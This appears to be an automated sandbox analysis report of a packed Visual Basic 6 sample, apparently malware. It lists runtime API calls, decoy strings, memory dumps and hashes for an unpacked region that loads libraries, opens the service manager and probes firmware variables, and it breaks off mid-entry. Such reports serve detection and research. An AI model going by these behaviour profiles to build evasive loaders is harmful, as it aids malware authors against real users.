0x00410c43
0x00410c48
0x00410c48
0x00410c57
0x00410c60
0x00410c69
0x00410c73
0x00410ca6
0x00410cb8
0x00410cbe
0x00410ccb
0x00410ced
0x00410ccd
0x00410ccd
0x00410cd2
0x00410cd7
0x00410cda
0x00410ce0
0x00410ce5
0x00410ce5
0x00410cfb
0x00410d05
0x00410d09
0x00410d0a
0x00410d0c
0x00410d11
0x00410d1a
0x00410d1f
0x00410d2d
0x00410d4a
0x00410d2f
0x00410d2f
0x00410d34
0x00410d39
0x00410d3e
0x00410d3e
0x00410d6e
0x00410d72
0x00410d77
0x00410d92
0x00410d95
0x00410d97
0x00410da4
0x00410dc6
0x00410da6
0x00410da6
0x00410da8
0x00410dad
0x00410db3
0x00410db9
0x00410dbe
0x00410dbe
0x00410dd4
0x00410df1
0x00410dd6
0x00410dd6
0x00410ddb
0x00410de0
0x00410de5
0x00410de5
0x00410e15
0x00410e1c
0x00410e21
0x00410e3c
0x00410e3f
0x00410e41
0x00410e4e
0x00410e70
0x00410e50
0x00410e50
0x00410e52
0x00410e57
0x00410e5d
0x00410e63
0x00410e68
0x00410e68
0x00410e7d
0x00410e83
0x00410e93
0x00410e9e
0x00410ea1
0x00410ecc
0x00410ed7
0x00410edd
0x00410eea
0x00410f0c
0x00410eec
0x00410eec
0x00410ef1
0x00410ef6
0x00410ef9
0x00410eff
0x00410f04
0x00410f04
0x00410f16
0x00410f28
0x00410f30
0x00410f39
0x00410f3e
0x00410f4d
0x00410f53
0x00410f55
0x00410f62
0x00410f84
0x00410f64
0x00410f64
0x00410f69
0x00410f6e
0x00410f71
0x00410f77
0x00410f7c
0x00410f7c
0x00410f8b
0x00410f8b
0x00410f96
0x00410f99
0x00410fa4
0x00000000
0x00000000
0x00410fa8
0x00410faa
0x00410fb1
0x00410fb6
0x00410fbd
0x00410fc4
0x00410fcb
0x00410fd2
0x00410fdc
0x00410fe9
0x00410fef
0x00410ff6
0x00410ff7
0x00411076
0x0041107e
0x00411083

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040E9D8
#670.MSVBVM60(?,?,?,?,?,004012E6), ref: 0040EA23
__vbaVarTstEq.MSVBVM60(00008008,?), ref: 0040EA4A
__vbaFreeVar.MSVBVM60(00008008,?), ref: 0040EA5C
__vbaNew2.MSVBVM60(00402B88,H/P,00008008,?), ref: 0040EA8A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EAC3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000158), ref: 0040EB0D
#529.MSVBVM60(00000008), ref: 0040EB4B
__vbaFreeObj.MSVBVM60(00000008), ref: 0040EB53
__vbaFreeVar.MSVBVM60(00000008), ref: 0040EB5E
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0040EBA9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,000006F8), ref: 0040EBFD
__vbaFreeVar.MSVBVM60(00000000,?,00403914,000006F8), ref: 0040EC17
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040EC5B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EC94
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00403AC0,00000078), ref: 0040ECDB
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040ED02
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040ED3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000130), ref: 0040ED8B
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040EDB0
__vbaNew2.MSVBVM60(00402B88,H/P,?,?,?,004012E6), ref: 0040EDCB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EE07
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000118), ref: 0040EE54
__vbaStrVarMove.MSVBVM60(?), ref: 0040EE85
__vbaStrMove.MSVBVM60(?), ref: 0040EE8F
__vbaVarDup.MSVBVM60(?), ref: 0040EEC0
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,v6_,?,00007259,?), ref: 0040EF20
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,?,?,?,?,?,v6_,?,00007259,?), ref: 0040EF40
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040EF58
__vbaNew2.MSVBVM60(00402B88,H/P,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040EF7A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EFB3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000F8), ref: 0040F000
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040F025
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F040
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F07C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000158), ref: 0040F0C6
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F0ED
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F129
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000160), ref: 0040F176
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040F19B
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F1B6
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F1F2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000158), ref: 0040F23C
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F263
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F29F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000080), ref: 0040F2EC
__vbaStrMove.MSVBVM60(00000000,?,00403AC0,00000080), ref: 0040F32C
__vbaI4Var.MSVBVM60(?), ref: 0040F338
__vbaI4Var.MSVBVM60(?,?), ref: 0040F36D
__vbaChkstk.MSVBVM60(?,00000008,?,?,00084AC3,?,?,?), ref: 0040F3B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,000006FC), ref: 0040F406
__vbaFreeStr.MSVBVM60(00000000,?,00403914,000006FC), ref: 0040F41D
__vbaFreeObjList.MSVBVM60(00000007,?,?,?,?,?,?,?), ref: 0040F452
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0040F471
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F493
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F4CC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000060), ref: 0040F513
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F53A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F576
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000060), ref: 0040F5BD
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F5E4
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F620
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000138), ref: 0040F66D
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F694
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F6D0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000130), ref: 0040F71D
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040F742
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F75D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F799
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000118), ref: 0040F7E6
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040F80D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F849
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000178), ref: 0040F896
__vbaStrVarMove.MSVBVM60(?,00000003,?,?), ref: 0040F919
__vbaStrMove.MSVBVM60(?,00000003,?,?), ref: 0040F923
__vbaChkstk.MSVBVM60(00000003,00000000,?,00000003,?,?), ref: 0040F933
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000700), ref: 0040F987
__vbaFreeStr.MSVBVM60(00000000,?,00403914,00000700), ref: 0040F9A9
__vbaFreeObjList.MSVBVM60(00000007,?,?,?,?,?,?,?), ref: 0040F9DE
__vbaFreeVarList.MSVBVM60(00000003,00000003,?,?), ref: 0040F9FD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000704), ref: 0040FA43
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FA7A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FAB3
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00403AC0,00000188), ref: 0040FB00
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FB27
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB63
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000140), ref: 0040FBB0
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FBD7
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FC13
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000050), ref: 0040FC57
__vbaChkstk.MSVBVM60(00000000,?,00403AC0,00000050), ref: 0040FC9F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000708), ref: 0040FCED
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040FD15
__vbaFreeVar.MSVBVM60 ref: 0040FD23
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FD42
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FD7B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000188), ref: 0040FDC8
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FDEF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE2B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000048), ref: 0040FE6F
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FE96
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FED2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000068), ref: 0040FF19
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FF40
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FF7C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000130), ref: 0040FFC9
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0040FFF0
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041002C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000108), ref: 00410076
__vbaChkstk.MSVBVM60(00000008,F0230230,00005AFA,?), ref: 00410107
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,0000070C,?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0041016A
__vbaVarMove.MSVBVM60(?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 00410187
__vbaFreeStr.MSVBVM60(?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0041018F
__vbaFreeObjList.MSVBVM60(00000005,?,?,?,?,?,?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 004101B6
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 004101CE
__vbaStrCopy.MSVBVM60 ref: 004101E5
__vbaFreeStr.MSVBVM60 ref: 0041021E
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0041023D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410276
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000F8), ref: 004102C3
__vbaLateIdCallLd.MSVBVM60(00000009,?,00000000,00000000), ref: 004102E8
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410303
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041033F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000118), ref: 0041038C
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 004103B3
__vbaObjSet.MSVBVM60(?,00000000), ref: 004103EF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000140), ref: 0041043C
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410463
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041049F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000068), ref: 004104E6
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0041050D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410549
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000F8), ref: 00410596
__vbaLateIdCallLd.MSVBVM60(00000008,?,00000000,00000000), ref: 004105BB
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 004105D6
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410612
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000A0), ref: 0041065F
__vbaStrCopy.MSVBVM60(00000000,?,00403AC0,000000A0), ref: 0041067B
__vbaI4Var.MSVBVM60(00000009), ref: 004106A1
__vbaI4Var.MSVBVM60(00000008,?,?,00000009), ref: 004106C0
__vbaVarMove.MSVBVM60 ref: 00410710
__vbaFreeStr.MSVBVM60 ref: 00410718
__vbaFreeObjList.MSVBVM60(00000008,?,?,?,00000000,?,?,?,?), ref: 00410754
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 0041076C
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0041078E
__vbaObjSet.MSVBVM60(?,00000000), ref: 004107C7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000A0), ref: 00410814
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 0041083B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410877
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,000000F8), ref: 004108C4
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 004108EB
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410927
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000078), ref: 0041096E
__vbaChkstk.MSVBVM60(?,?), ref: 00410A1E
__vbaChkstk.MSVBVM60(?,00000009,7C207E50,00005AFD,?,?,?), ref: 00410A51
__vbaChkstk.MSVBVM60(?,00000009,7C207E50,00005AFD,?,?,?), ref: 00410A65
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000710), ref: 00410AA6
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 00410AE0
__vbaFreeVar.MSVBVM60 ref: 00410AEE
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410B0D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410B46
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000178), ref: 00410B93
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410BBA
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410BF6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000118), ref: 00410C43
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000714,?,?,000044D0,?,00005633,?,?), ref: 00410CE0
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,000044D0,?,00005633,?,?), ref: 00410D0C
__vbaFreeVar.MSVBVM60 ref: 00410D1A
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410D39
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410D72
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000078), ref: 00410DB9
__vbaNew2.MSVBVM60(00402B88,H/P), ref: 00410DE0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410E1C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000060), ref: 00410E63
__vbaStrCopy.MSVBVM60(00000000,?,00403AC0,00000060), ref: 00410EA1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403914,00000718,?,?,00000000,?,00855264,0009EC81,?), ref: 00410EFF
__vbaFreeStr.MSVBVM60(?,?,00000000,?,00855264,0009EC81,?), ref: 00410F16
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000000,?,00855264,0009EC81,?), ref: 00410F28
__vbaOnError.MSVBVM60(000000FF), ref: 00410F39
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E4,000002B4), ref: 00410F77
__vbaFreeVar.MSVBVM60(00411084), ref: 00411076
__vbaFreeVar.MSVBVM60(00411084), ref: 0041107E

Strings

udsanering, xrefs: 0040EA28
OVERGLAMORIZED, xrefs: 004101DD
Tilsjoflingerne9, xrefs: 0040F378
adkomsthavers, xrefs: 004106CC
Misbaptize8, xrefs: 00410E99
o[>, xrefs: 004109F9
BEMISTED, xrefs: 0040EEA0
v6_, xrefs: 0040EED1, 0040EED7
3V, xrefs: 00410C57
H/P, xrefs: 0040EA77, 0040EA80, 0040EA8F, 0040EA9B, 0040EC48, 0040EC51, 0040EC60, 0040EC6C, 0040ECEF, 0040ECF8, 0040ED07, 0040ED13, 0040EDB8, 0040EDC1, 0040EDD0, 0040EDDC, 0040EF67, 0040EF70, 0040EF7F, 0040EF8B, 0040F02D, 0040F036, 0040F045, 0040F051, 0040F0DA, 0040F0E3, 0040F0F2, 0040F0FE, 0040F1A3, 0040F1AC, 0040F1BB, 0040F1C7, 0040F250, 0040F259, 0040F268, 0040F274, 0040F480, 0040F489, 0040F498, 0040F4A4, 0040F527, 0040F530, 0040F53F, 0040F54B, 0040F5D1, 0040F5DA, 0040F5E9, 0040F5F5, 0040F681, 0040F68A, 0040F699, 0040F6A5, 0040F74A, 0040F753, 0040F762, 0040F76E, 0040F7FA, 0040F803, 0040F812, 0040F81E, 0040FA67, 0040FA70, 0040FA7F, 0040FA8B, 0040FB14, 0040FB1D, 0040FB2C, 0040FB38, 0040FBC4, 0040FBCD, 0040FBDC, 0040FBE8, 0040FD2F, 0040FD38, 0040FD47, 0040FD53, 0040FDDC, 0040FDE5, 0040FDF4, 0040FE00, 0040FE83, 0040FE8C, 0040FE9B, 0040FEA7, 0040FF2D, 0040FF36, 0040FF45, 0040FF51, 0040FFDD, 0040FFE6, 0040FFF5, 00410001, 0041022A, 00410233, 00410242, 0041024E, 004102F0, 004102F9, 00410308, 00410314, 004103A0, 004103A9, 004103B8, 004103C4, 00410450, 00410459, 00410468, 00410474, 004104FA, 00410503, 00410512, 0041051E, 004105C3, 004105CC, 004105DB, 004105E7, 0041077B, 00410784, 00410793, 0041079F, 00410828, 00410831, 00410840, 0041084C, 004108D8, 004108E1, 004108F0, 004108FC, 00410AFA, 00410B03, 00410B12, 00410B1E, 00410BA7, 00410BB0, 00410BBF, 00410BCB, 00410D26, 00410D2F, 00410D3E, 00410D4A, 00410DCD, 00410DD6, 00410DE5, 00410DF1
SMAAKRAVLET, xrefs: 0040EB6A
CALICUT, xrefs: 00410673

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Chkstk$Move$CallLate$Copy$#529#670Error
String ID: 3V$BEMISTED$CALICUT$H/P$Misbaptize8$OVERGLAMORIZED$SMAAKRAVLET$Tilsjoflingerne9$adkomsthavers$o[>$udsanering$v6_
API String ID: 1286334570-3127221445
Opcode ID: 96a012c56369797598fbf38c33dc0cdf7b2dda4ce9b396726259c8725772bed1
Instruction ID: 58c2c41de91bc2a2602945cbd10d6a62f3cc6f66bc5dd3ddec2edb9ef81270b7
Opcode Fuzzy Hash: 96a012c56369797598fbf38c33dc0cdf7b2dda4ce9b396726259c8725772bed1
Instruction Fuzzy Hash: DD33C371900228EFDB21DF50CC89BD9BBB8BB08305F1041EAE549BB2A1DB795AC5DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401480, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401485

Strings

VB5!6&*, xrefs: 00401480

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: c424d9f7c02451dff6685736da16b09c07964973748716c5c4373ace72faf475
Instruction ID: 08a05781e34d863edbe6e46a0c4906308e22f86d240c11df7db6340d91d3f1a9
Opcode Fuzzy Hash: c424d9f7c02451dff6685736da16b09c07964973748716c5c4373ace72faf475
Instruction Fuzzy Hash: 335173A684E3C09FC70387749C696A13FB19E57215B0E45EBD482DF0F3E26C080AD72A

Uniqueness

Uniqueness Score: -1.00%

Function 021F4AF0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

0={,, xrefs: 021F4C7F

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction ID: 6349115098fcdd83e3c89db7499eb24e7a4f95599ea8c297bd49670d17de7c1b
Opcode Fuzzy Hash: b6af6dea2e9d6c62171ed5cb7795d41b51f0c24359ae90e12da191cb7ad093fe
Instruction Fuzzy Hash: F651D4B474420A8FDB96EF64C8907DEB763AF58350F108119ED6A87388DB349847CF61

Uniqueness

Uniqueness Score: -1.00%

Function 021F65CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction ID: d591061ef449fbfddf4963ad11b00ac6d8ff6a3bf7dbea7d043cb84ed2474aeb
Opcode Fuzzy Hash: a2d00ed734ee6088ed2c24c59a5cc0bdfecbb7a30fef554e87d75214fa813c3f
Instruction Fuzzy Hash: 9762944F1A05C08A4EC51B94665AAAAF73DBD03A307E057F6C33F1E4FB979402839679

Uniqueness

Uniqueness Score: -1.00%

Function 021F906E, Relevance: 2.6, APIs: 1, Instructions: 1141COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 021F9762

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction ID: 4cbc38bd2f33074c0fbe93b25efee13ed37a53272e0289c1758b3b0d26023aeb
Opcode Fuzzy Hash: 04ad66eaab63b8aa0fe79994ebc80e1e28f5089b1f48b50d9b5e8ad04d77471a
Instruction Fuzzy Hash: 6B52968A1A0140869BC13F55A649B9AF735BD07A30BE057F3C33F0D9FB9794024796BA

Uniqueness

Uniqueness Score: -1.00%

Function 021F7128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction ID: b4559f12a1a0888fec6ed194c8282228c29eda310a43868a5241fe98998fbd01
Opcode Fuzzy Hash: 0ec60d22c36dd94fd26205db41b59c1851ba0cbd5e46b16e2d053f735c4594c4
Instruction Fuzzy Hash: 8881781B1A42008B8FC11F646545BEAF776BD07730FA047AAD73A1A5EBC390028BD775

Uniqueness

Uniqueness Score: -1.00%

Function 021F1D2C, Relevance: 1.7, APIs: 1, Instructions: 231COMMON

Download Yara Rule

APIs

GetFirmwareEnvironmentVariableExW.KERNEL32 ref: 021F1D1B

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: EnvironmentFirmwareVariable
String ID:
API String ID: 3150624800-0
Opcode ID: 00924a12fbfe1e059ec43b10aaefa43c14036245af462500605f5b2f23ca8e77
Instruction ID: a81042a1af584a95bd763a0c76ceb84d8953b3f83588b2742a7fd89cd8da99ea
Opcode Fuzzy Hash: 00924a12fbfe1e059ec43b10aaefa43c14036245af462500605f5b2f23ca8e77
Instruction Fuzzy Hash: 9E51915B1D0540EADBC91B50654DBEAF73ABE43A30FE087A6C33E094E7E39502839675

Uniqueness

Uniqueness Score: -1.00%

Function 021F6FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction ID: 3dc8b0fd02402ee08e375c3dc8b8e0890f3539d1d42114a6a178a7e4010396c6
Opcode Fuzzy Hash: 680908327f4bf39f765f0976c73c171d18486c4f2dba39b1c2e0cbbd856d2626
Instruction Fuzzy Hash: 3C51E54F0E01408A9EC11B546695BEAF73AAD07A30FF097A6C37F09DEBD79001879676

Uniqueness

Uniqueness Score: -1.00%

Function 021F9779, Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 021F9762

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction ID: 5e0f431f05b059d9cbd6ac9227e71c67fc99c9a9d2213e6ef5a4f9a172be08d3
Opcode Fuzzy Hash: 2a25310ea3ce3adefabd0a7305b437a31575bd42e59a036e4a199c2bc06912f5
Instruction Fuzzy Hash: BA51B88A090640869AC13FA5A545B9AF775AD079307E00BF7C33F0D8FB93D402879AB6

Uniqueness

Uniqueness Score: -1.00%

Function 021F939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction ID: 5194344934b01acae9980ac5cde719e3f5f338ee8f1bb8e845b93b8a94cc6674
Opcode Fuzzy Hash: 4761e8797ae00c8bd5a44c9733044ff0bdf116abd29be0ee4e74e833e9adb110
Instruction Fuzzy Hash: 2251E1691A05048ADBC57F26C5567EEF620EF21730FC457E6C37A0B8EAD3644092C3AB

Uniqueness

Uniqueness Score: -1.00%

Function 021F95B3, Relevance: 1.7, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 021F9762

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction ID: 7d1bedb2d5f81d8a083ef87b1f52ef08bedb42423a87719a080369af69417837
Opcode Fuzzy Hash: 1148efaf1652a74ff9cc6d1dd981a8ec13e92bb249a609ce98c478557b541195
Instruction Fuzzy Hash: E651C2591A05808ADFC53F25D446BECBB20AF15730FC457D7C73A0A9FAD76441A2C2EA

Uniqueness

Uniqueness Score: -1.00%

Function 021F8FBC, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction ID: 13f016c4319fdc160c8314326a27f07ba2020621f2fe39b2f4fecd8e10e1a161
Opcode Fuzzy Hash: 5fa08d7a4c5d936aaa09be6b8704d9de450380d166febcc1dcd4c4ed984e5570
Instruction Fuzzy Hash: 42314B317842488FEBA9AE24C9443A877A2EF523A4F594275CB778B1E1D338C488C742

Uniqueness

Uniqueness Score: -1.00%

Function 021F6DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
